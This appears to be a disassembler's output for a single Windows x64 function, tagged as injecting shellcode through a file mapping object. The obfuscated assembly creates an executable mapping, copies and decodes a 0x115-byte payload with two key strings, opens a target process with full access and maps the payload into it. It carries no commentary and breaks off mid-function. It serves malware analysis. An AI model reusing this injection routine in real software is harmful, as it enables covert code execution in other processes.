Function at 0x140005f70
Capabilities:
Create thread
Inject shellcode using a file mapping object

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov eax, dword [0x140021b80]
mov ecx, dword [0x140021b84]
lea ebp, [rax - 1]
imul ebp, eax
test bpl, 1
sete byte [rsp + 0x4e]
cmp ecx, 0xa
setl byte [rsp + 0x4f]
add rdx, 8
mov qword [rsp + 0x78], rdx
mov eax, 0x26550e53
mov rdi, qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbx, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
lea r15, section..data
lea r12, str.DmHcet5Lr85L1V_j9bDZOItY8RBSG63Z
lea r13, str.9wi4RuMj898EXZkX4GaqMF0WyybNHRYH
mov rbp, qword [sym.imp.api_ms_win_core_memory_l1_1_5.dll_MapViewOfFileNuma2]
jmp 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x26a3147b
mov ecx, 0xc64757f9
nop dword [rax]
cmove eax, ecx
cmp dword [0x140021b84], 0xa
cmovl eax, ecx
cmp eax, 0x72179ac
jg 0x140006090
cmp eax, 0xc8a69374
jg 0x1400060f0
cmp eax, 0xaef4c4d5
jg 0x140006195
cmp eax, 0x9805210f
jle 0x14000632e
cmp eax, 0x98052110
je 0x1400065b3
cmp eax, 0xa40d727c
je 0x1400065bd
cmp eax, 0xaa211a2b
jne 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x140021b84], 0xa
setl dl
xor cl, dl
and al, dl
xor al, cl
mov eax, 0x7d05eee4
mov ecx, 0xc2f23b74
cmovne eax, ecx
jmp 0x14000600d
cmp eax, 0x2eb8f542
jg 0x140006140
cmp eax, 0x263c74f1
jg 0x14000625d
cmp eax, 0x106ee236
jle 0x1400063ef
cmp eax, 0x106ee237
je 0x1400065db
cmp eax, 0x14cd569c
je 0x1400065f9
cmp eax, 0x1c157a74
jne 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe248c173
mov ecx, 0x585f05d8
jmp 0x140006000
cmp eax, 0xdcc3a156
jg 0x1400062a7
cmp eax, 0xd25fc26b
jle 0x140006423
cmp eax, 0xd25fc26c
je 0x140006617
cmp eax, 0xd32123d4
je 0x140005fe0
cmp eax, 0xda38463a
jne 0x14000600d
mov eax, 0x51ce7e55
jmp 0x14000600d
cmp eax, 0x585f05d7
jg 0x140006303
cmp eax, 0x4eee7f4b
jle 0x1400064c1
cmp eax, 0x4eee7f4c
je 0x140006621
cmp eax, 0x51ce7e55
je 0x140006649
cmp eax, 0x54939e15
jne 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xecbb2a99
mov ecx, 0x4eee7f4c
jmp 0x140006000
cmp eax, 0xc2f23b73
jle 0x1400064f5
cmp eax, 0xc2f23b74
je 0x140006667
cmp eax, 0xc37bf416
je 0x140006671
cmp eax, 0xc64757f9
jne 0x14000600d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x115
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
xor r9d, r9d
call rdi
mov qword [rsp + 0x20], 0x115
mov rcx, rax
mov edx, 2
xor r8d, r8d
xor r9d, r9d
call rbx
mov rsi, rax
mov r8d, 0x115
mov rcx, rax
mov rdx, r15
call fcn.140008e00
mov edx, 0x115
mov r9d, 0x20
mov rcx, rsi
mov r8, r12
call section..text
mov edx, 0x115
mov r9d, 0x20
mov rcx, rsi
mov r8, r13
call fcn.1400022d0
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x26a3147b
mov ecx, 0xdcc3a157
jmp 0x140006000
cmp eax, 0x26a3147a
jle 0x140006529
cmp eax, 0x26a3147b
je 0x14000667b
cmp eax, 0x28a3b2aa
je 0x140006703
cmp eax, 0x2b98f61f
jne 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2eb8f543
mov ecx, 0x263c74f2
jmp 0x140006000
cmp eax, 0xecbb2a98
jle 0x14000655f
cmp eax, 0xecbb2a99
je 0x1400070b9
cmp eax, 0xf4f9459d
je 0x1400070c3
cmp eax, 0xf8e0f484
jne 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa40d727c
mov ecx, 0x2b98f61f
cmovne eax, ecx
cmp dword [0x140021b84], 0xa
mov ecx, 0xa40d727c
cmovl eax, ecx
jmp 0x14000600d
cmp eax, 0x79232be1
jg 0x14000657f
cmp eax, 0x585f05d8
je 0x1400070e1
cmp eax, 0x68354783
jne 0x140007c18
mov eax, 0x106ee237
jmp 0x14000600d
cmp eax, 0x86adb93c
je 0x1400070ff
cmp eax, 0x96f73e8f
jne 0x14000600d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x115
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
xor r9d, r9d
call rdi
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], 0x115
mov edx, 2
xor r8d, r8d
xor r9d, r9d
call rbx
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
mov r8d, 0x115
mov rdx, r15
call fcn.140008e00
mov rcx, qword [rsp + 0x58]
mov edx, 0x115
mov r9d, 0x20
mov r8, r12
call section..text
mov rcx, qword [rsp + 0x58]
mov edx, 0x115
mov r9d, 0x20
mov r8, r13
call fcn.1400022d0
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd20f7701
mov ecx, 0x79232be2
jmp 0x140006000
cmp eax, 0x72179ad
je 0x140007109
cmp eax, 0x106b3b07
jne 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc2f23b74
mov ecx, 0xaa211a2b
jmp 0x140006000
cmp eax, 0xc8a69375
je 0x140007113
cmp eax, 0xd20f7701
jne 0x14000600d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x115
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
xor r9d, r9d
call rdi
mov qword [rsp + 0x20], 0x115
mov rcx, rax
mov edx, 2
xor r8d, r8d
xor r9d, r9d
call rbx
mov rsi, rax
mov r8d, 0x115
mov rcx, rax
mov rdx, r15
call fcn.140008e00
mov edx, 0x115
mov r9d, 0x20
mov rcx, rsi
mov r8, r12
call section..text
mov edx, 0x115
mov r9d, 0x20
mov rcx, rsi
mov r8, r13
call fcn.1400022d0
mov eax, 0x96f73e8f
jmp 0x14000600d
cmp eax, 0x2eb8f543
je 0x140007aae
cmp eax, 0x3dead388
jne 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd20f7701
mov ecx, 0x96f73e8f
jmp 0x140006000
cmp eax, 0xaef4c4d6
je 0x140007b36
cmp eax, 0xb3a1fe3d
jne 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x72179ad
mov ecx, 0xf4f9459d
jmp 0x140006000
cmp eax, 0x263c74f2
je 0x140007b54
cmp eax, 0x26550e53
jne 0x14000600d
mov cl, byte [rsp + 0x4e]
cmp byte [rsp + 0x4f], 0
mov eax, 0x72179ad
mov edx, 0xb3a1fe3d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14000600d
cmp eax, 0xdcc3a157
je 0x140007bf0
cmp eax, 0xe248c173
jne 0x14000600d
mov eax, 0x585f05d8
jmp 0x14000600d
cmp eax, 0x79232be2
je 0x140007bfa
cmp eax, 0x7d05eee4
jne 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x98052110
mov ecx, 0x54939e15
jmp 0x140006000
mov eax, 0x54939e15
jmp 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd32123d4
mov ecx, 0x3dead388
jmp 0x140006000
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68354783
mov ecx, 0xf8e0f484
jmp 0x140006000
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x98052110
mov ecx, 0x1c157a74
jmp 0x140006000
mov eax, 0x61c7eeb8
jmp 0x14000600d
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x68], rax
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xecbb2a99
mov ecx, 0x14cd569c
jmp 0x140006000
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc8a69375
mov ecx, 0x28a3b2aa
jmp 0x140006000
mov eax, 0xaa211a2b
jmp 0x14000600d
mov eax, 0x106b3b07
jmp 0x14000600d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x115
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
xor r9d, r9d
call rdi
mov qword [rsp + 0x20], 0x115
mov rcx, rax
mov edx, 2
xor r8d, r8d
xor r9d, r9d
call rbx
mov rsi, rax
mov r8d, 0x115
mov rcx, rax
mov rdx, r15
call fcn.140008e00
mov edx, 0x115
mov r9d, 0x20
mov rcx, rsi
mov r8, r12
call section..text
mov edx, 0x115
mov r9d, 0x20
mov rcx, rsi
mov r8, r13
call fcn.1400022d0
mov eax, 0xc64757f9
jmp 0x14000600d
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.140004c10
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x70], rax
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x70]
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x4d]
mov eax, 0xcd3c906e
jmp 0x140006766
mov eax, 0x4097ad31
nop dword [rax]
cmp ecx, 0xa
cmovl eax, edx
cmp eax, 0xeee0f09
jg 0x1400067e0
cmp eax, 0xcd3c906d
jle 0x140006850
cmp eax, 0xe57ff749
jg 0x140006901
cmp eax, 0xe05ef59d
jg 0x140006a4f
cmp eax, 0xcd3c906e
je 0x140006c32
cmp eax, 0xcdfd00db
je 0x140006c57
cmp eax, 0xcfb64f37
jne 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x67471fd1
mov eax, 0x67471fd1
test sil, 1
je 0x140006760
jmp 0x140006fd5
cmp eax, 0x4097ad30
jle 0x1400068c0
cmp eax, 0x58105351
jg 0x140006958
cmp eax, 0x4a09524d
jg 0x140006aa0
cmp eax, 0x4097ad31
je 0x140006c87
cmp eax, 0x493f0e46
je 0x140006c91
cmp eax, 0x49cc736c
jne 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xaf9b565c
mov eax, 0xaf9b565c
test sil, 1
je 0x140006760
jmp 0x140006df0
cmp eax, 0xa81771cc
jle 0x14000698e
cmp eax, 0xb23b7db3
jg 0x140006acb
cmp eax, 0xa81771cd
je 0x140006cc1
cmp eax, 0xaf9b565c
je 0x140006ccb
cmp eax, 0xb00db557
jne 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x875d723d
mov eax, 0x875d723d
test sil, 1
je 0x140006760
jmp 0x140006cf1
cmp eax, 0x25163afe
jle 0x1400069f3
cmp eax, 0x39dd2f61
jg 0x140006af6
cmp eax, 0x25163aff
je 0x140006cfb
cmp eax, 0x3478aa70
je 0x140006d24
cmp eax, 0x34e7d931
jne 0x140006766
mov eax, 0x207d8a8a
jmp 0x140006766
cmp eax, 0xf7d1bc48
jg 0x140006b42
cmp eax, 0xe57ff74a
je 0x140006d56
cmp eax, 0xe6e66d07
je 0x140006d81
cmp eax, 0xe9a12701
jne 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xb23b7db4
mov eax, 0xb23b7db4
test sil, 1
je 0x140006760
jmp 0x140006e50
cmp eax, 0x67471fd0
jg 0x140006b8b
cmp eax, 0x58105352
je 0x140006d8b
cmp eax, 0x59cca1ae
je 0x140006db6
cmp eax, 0x619110d0
jne 0x140006766
mov eax, 0xb00db557
jmp 0x140006766
cmp eax, 0x875d723c
jle 0x140006bab
cmp eax, 0x875d723d
je 0x140006dc0
cmp eax, 0x993473c4
je 0x140006dca
cmp eax, 0xa7680ecf
jne 0x140006766
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call rbp
mov eax, 0x67471fd1
jmp 0x140006766
cmp eax, 0x169747e0
jle 0x140006bf1
cmp eax, 0x169747e1
je 0x140006dfa
cmp eax, 0x1d83e734
je 0x140006e2a
cmp eax, 0x207d8a8a
jne 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x34e7d931
mov eax, 0x993473c4
test sil, 1
jne 0x140006d4b
mov edx, 0x993473c4
jmp 0x140006d4b
cmp eax, 0xe05ef59e
je 0x140006e5a
cmp eax, 0xe0a4f670
je 0x140006e8a
cmp eax, 0xe27dabfa
jne 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x169747e1
mov eax, 0x169747e1
test sil, 1
je 0x140006760
mov eax, 0xa81771cd
jmp 0x140006760
cmp eax, 0x4a09524e
je 0x140006e94
cmp eax, 0x4dd502ca
je 0x140006ec4
cmp eax, 0x4e9af5f0
jne 0x140006766
mov eax, 0x86d3c2cb
jmp 0x140006766
cmp eax, 0xb23b7db4
je 0x140006eef
cmp eax, 0xb85939b3
je 0x140006ef9
cmp eax, 0xbcec4302
jne 0x140006766
mov eax, 0x3c811ab2
jmp 0x140006766
cmp eax, 0x39dd2f62
je 0x140006f29
cmp eax, 0x3b2a3402
je 0x140006f33
cmp eax, 0x3c811ab2
jne 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x3478aa70
mov eax, 0x3478aa70
test sil, 1
je 0x140006760
jmp 0x140006e80
cmp eax, 0xf7d1bc49
je 0x140006f3d
cmp eax, 0xfff15ba1
je 0x140006f47
cmp eax, 0x58eae3d
jne 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x86d3c2cb
mov eax, 0x86d3c2cb
test sil, 1
je 0x140006760
jmp 0x140006be7
cmp eax, 0x67471fd1
je 0x140006f80
cmp eax, 0x68a7eff4
jne 0x140007071
mov eax, 0xe0a4f670
jmp 0x140006766
cmp eax, 0x8221c996
je 0x140006fdf
cmp eax, 0x86d3c2cb
jne 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x58105352
mov eax, 0x58105352
test sil, 1
je 0x140006760
mov eax, 0x4e9af5f0
jmp 0x140006760
cmp eax, 0xeee0f0a
je 0x14000700f
cmp eax, 0xf29b061
jne 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x59cca1ae
mov eax, 0x59cca1ae
test sil, 1
je 0x140006760
jmp 0x140006cb7
movzx ecx, byte [rsp + 0x4c]
cmp byte [rsp + 0x4d], 0
mov edx, 0x4dd502ca
mov eax, 0x4dd502ca
jne 0x140006c4d
mov eax, 0xa81771cd
test cl, cl
cmovne eax, edx
jmp 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xf7d1bc49
mov eax, 0x68a7eff4
test sil, 1
jne 0x140006d4b
mov edx, 0x68a7eff4
jmp 0x140006d4b
mov eax, 0xe57ff74a
jmp 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xf29b061
mov eax, 0xf29b061
test sil, 1
je 0x140006760
mov eax, 0xe6e66d07
jmp 0x140006760
mov eax, 0x4dd502ca
jmp 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xb00db557
mov eax, 0xb00db557
test sil, 1
je 0x140006760
mov eax, 0x619110d0
jmp 0x140006760
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xfff15ba1
mov eax, 0xeee0f0a
test sil, 1
jne 0x140006d4b
mov edx, 0xeee0f0a
jmp 0x140006d4b
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x58eae3d
mov eax, 0xb85939b3
test sil, 1
jne 0x140006d4b
mov edx, 0xb85939b3
cmp ecx, 0xa
cmovge eax, edx
jmp 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xe27dabfa
mov eax, 0xe27dabfa
test sil, 1
jne 0x140006758
jmp 0x140006760
mov eax, 0xf29b061
jmp 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x8221c996
mov eax, 0x8221c996
test sil, 1
je 0x140006760
jmp 0x140007005
mov eax, 0x8221c996
jmp 0x140006766
mov eax, 0x7203307b
jmp 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x25163aff
mov eax, 0x25163aff
test sil, 1
je 0x140006760
mov eax, 0xcfb64f37
jmp 0x140006760
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xe05ef59e
mov eax, 0xe05ef59e
test sil, 1
je 0x140006760
mov eax, 0x58eae3d
jmp 0x140006760
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xe9a12701
mov eax, 0xe9a12701
test sil, 1
je 0x140006760
mov eax, 0x3b2a3402
jmp 0x140006760
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x3c811ab2
mov eax, 0x3c811ab2
test sil, 1
je 0x140006760
mov eax, 0xbcec4302
jmp 0x140006760
mov eax, 0x4a09524e
jmp 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x207d8a8a
mov eax, 0x207d8a8a
test sil, 1
je 0x140006760
mov eax, 0x34e7d931
jmp 0x140006760
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xe57ff74a
mov eax, 0xe57ff74a
test sil, 1
je 0x140006760
jmp 0x140006758
mov eax, 0xe05ef59e
jmp 0x140006766
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xcdfd00db
mov eax, 0xcdfd00db
test sil, 1
je 0x140006760
mov eax, 0xf7d1bc49
jmp 0x140006760
mov eax, 0x25163aff
jmp 0x140006766
mov eax, 0xe9a12701
jmp 0x140006766
mov eax, 0xcdfd00db
jmp 0x140006766
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call rbp
mov eax, 0xeee0f0a
jmp 0x140006766
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call rbp
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x39dd2f62
mov eax, 0x39dd2f62
test sil, 1
je 0x140006760
mov eax, 0xa7680ecf
jmp 0x140006760
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x1d83e734
mov eax, 0x1d83e734
test sil, 1
je 0x140006760
mov eax, 0x493f0e46
jmp 0x140006760
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call rbp
mov r14, rax
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x49cc736c
mov eax, 0x49cc736c
test sil, 1
je 0x140006760
mov eax, 0xfff15ba1
jmp 0x140006760
cmp eax, 0x7203307b
jne 0x140006766
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x80], rax
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc8a69375
mov ecx, 0xd25fc26c
cmove eax, ecx
cmp dword [0x140021b84], 0xa
cmovl eax, ecx
jmp 0x140007a9b
mov eax, 0x4eee7f4c
jmp 0x14000600d
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68354783
mov ecx, 0x106ee237
jmp 0x140006000
mov eax, dword [0x140021b80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe248c173
mov ecx, 0xda38463a
jmp 0x140006000
mov eax, 0xa40d727c
jmp 0x14000600d
mov eax, 0xb3a1fe3d
jmp 0x14000600d
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.140004c10
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov rbx, qword [rsp + 0x50]
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rsp + 0x4c]
cmp ecx, 0xa
setl byte [rsp + 0x4d]
mov eax, 0xcd3c906e
jmp 0x140007176
mov eax, 0x4097ad31
nop word cs:[rax + rax]
cmp ecx, 0xa
cmovl eax, edx
cmp eax, 0xeee0f09
jg 0x1400071f0
cmp eax, 0xcd3c906d
jle 0x140007260
cmp eax, 0xe57ff749
jg 0x140007311
cmp eax, 0xe05ef59d
jg 0x14000745f
cmp eax, 0xcd3c906e
je 0x140007642
cmp eax, 0xcdfd00db
je 0x140007667
cmp eax, 0xcfb64f37
jne 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x67471fd1
mov eax, 0x67471fd1
test sil, 1
je 0x140007170
jmp 0x1400079e5
cmp eax, 0x4097ad30
jle 0x1400072d0
cmp eax, 0x58105351
jg 0x140007368
cmp eax, 0x4a09524d
jg 0x1400074b0
cmp eax, 0x4097ad31
je 0x140007697
cmp eax, 0x493f0e46
je 0x1400076a1
cmp eax, 0x49cc736c
jne 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xaf9b565c
mov eax, 0xaf9b565c
test sil, 1
je 0x140007170
jmp 0x140007800
cmp eax, 0xa81771cc
jle 0x14000739e
cmp eax, 0xb23b7db3
jg 0x1400074db
cmp eax, 0xa81771cd
je 0x1400076d1
cmp eax, 0xaf9b565c
je 0x1400076db
cmp eax, 0xb00db557
jne 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x875d723d
mov eax, 0x875d723d
test sil, 1
je 0x140007170
jmp 0x140007701
cmp eax, 0x25163afe
jle 0x140007403
cmp eax, 0x39dd2f61
jg 0x140007506
cmp eax, 0x25163aff
je 0x14000770b
cmp eax, 0x3478aa70
je 0x140007734
cmp eax, 0x34e7d931
jne 0x140007176
mov eax, 0x207d8a8a
jmp 0x140007176
cmp eax, 0xf7d1bc48
jg 0x140007552
cmp eax, 0xe57ff74a
je 0x140007766
cmp eax, 0xe6e66d07
je 0x140007791
cmp eax, 0xe9a12701
jne 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xb23b7db4
mov eax, 0xb23b7db4
test sil, 1
je 0x140007170
jmp 0x140007860
cmp eax, 0x67471fd0
jg 0x14000759b
cmp eax, 0x58105352
je 0x14000779b
cmp eax, 0x59cca1ae
je 0x1400077c6
cmp eax, 0x619110d0
jne 0x140007176
mov eax, 0xb00db557
jmp 0x140007176
cmp eax, 0x875d723c
jle 0x1400075bb
cmp eax, 0x875d723d
je 0x1400077d0
cmp eax, 0x993473c4
je 0x1400077da
cmp eax, 0xa7680ecf
jne 0x140007176
mov dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call rbp
mov eax, 0x67471fd1
jmp 0x140007176
cmp eax, 0x169747e0
jle 0x140007601
cmp eax, 0x169747e1
je 0x14000780a
cmp eax, 0x1d83e734
je 0x14000783a
cmp eax, 0x207d8a8a
jne 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x34e7d931
mov eax, 0x993473c4
test sil, 1
jne 0x14000775b
mov edx, 0x993473c4
jmp 0x14000775b
cmp eax, 0xe05ef59e
je 0x14000786a
cmp eax, 0xe0a4f670
je 0x14000789a
cmp eax, 0xe27dabfa
jne 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x169747e1
mov eax, 0x169747e1
test sil, 1
je 0x140007170
mov eax, 0xa81771cd
jmp 0x140007170
cmp eax, 0x4a09524e
je 0x1400078a4
cmp eax, 0x4dd502ca
je 0x1400078d4
cmp eax, 0x4e9af5f0
jne 0x140007176
mov eax, 0x86d3c2cb
jmp 0x140007176
cmp eax, 0xb23b7db4
je 0x1400078ff
cmp eax, 0xb85939b3
je 0x140007909
cmp eax, 0xbcec4302
jne 0x140007176
mov eax, 0x3c811ab2
jmp 0x140007176
cmp eax, 0x39dd2f62
je 0x140007939
cmp eax, 0x3b2a3402
je 0x140007943
cmp eax, 0x3c811ab2
jne 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x3478aa70
mov eax, 0x3478aa70
test sil, 1
je 0x140007170
jmp 0x140007890
cmp eax, 0xf7d1bc49
je 0x14000794d
cmp eax, 0xfff15ba1
je 0x140007957
cmp eax, 0x58eae3d
jne 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x86d3c2cb
mov eax, 0x86d3c2cb
test sil, 1
je 0x140007170
jmp 0x1400075f7
cmp eax, 0x67471fd1
je 0x140007990
cmp eax, 0x68a7eff4
jne 0x140007a81
mov eax, 0xe0a4f670
jmp 0x140007176
cmp eax, 0x8221c996
je 0x1400079ef
cmp eax, 0x86d3c2cb
jne 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x58105352
mov eax, 0x58105352
test sil, 1
je 0x140007170
mov eax, 0x4e9af5f0
jmp 0x140007170
cmp eax, 0xeee0f0a
je 0x140007a1f
cmp eax, 0xf29b061
jne 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0x59cca1ae
mov eax, 0x59cca1ae
test sil, 1
je 0x140007170
jmp 0x1400076c7
movzx ecx, byte [rsp + 0x4c]
cmp byte [rsp + 0x4d], 0
mov edx, 0x4dd502ca
mov eax, 0x4dd502ca
jne 0x14000765d
mov eax, 0xa81771cd
test cl, cl
cmovne eax, edx
jmp 0x140007176
mov eax, dword [0x140021b88]
mov ecx, dword [0x140021b8c]
lea esi, [rax - 1]
imul esi, eax
mov edx, 0xf7d1bc49
mov eax, 0x68a7eff4
test sil, 1
jne 0x14000775b
mov edx, 0x68a7eff4
jmp 0x14000775b
mov eax, 0xe57ff74a
jmp 0x140007176
mov eax, dword [0x140021b88]
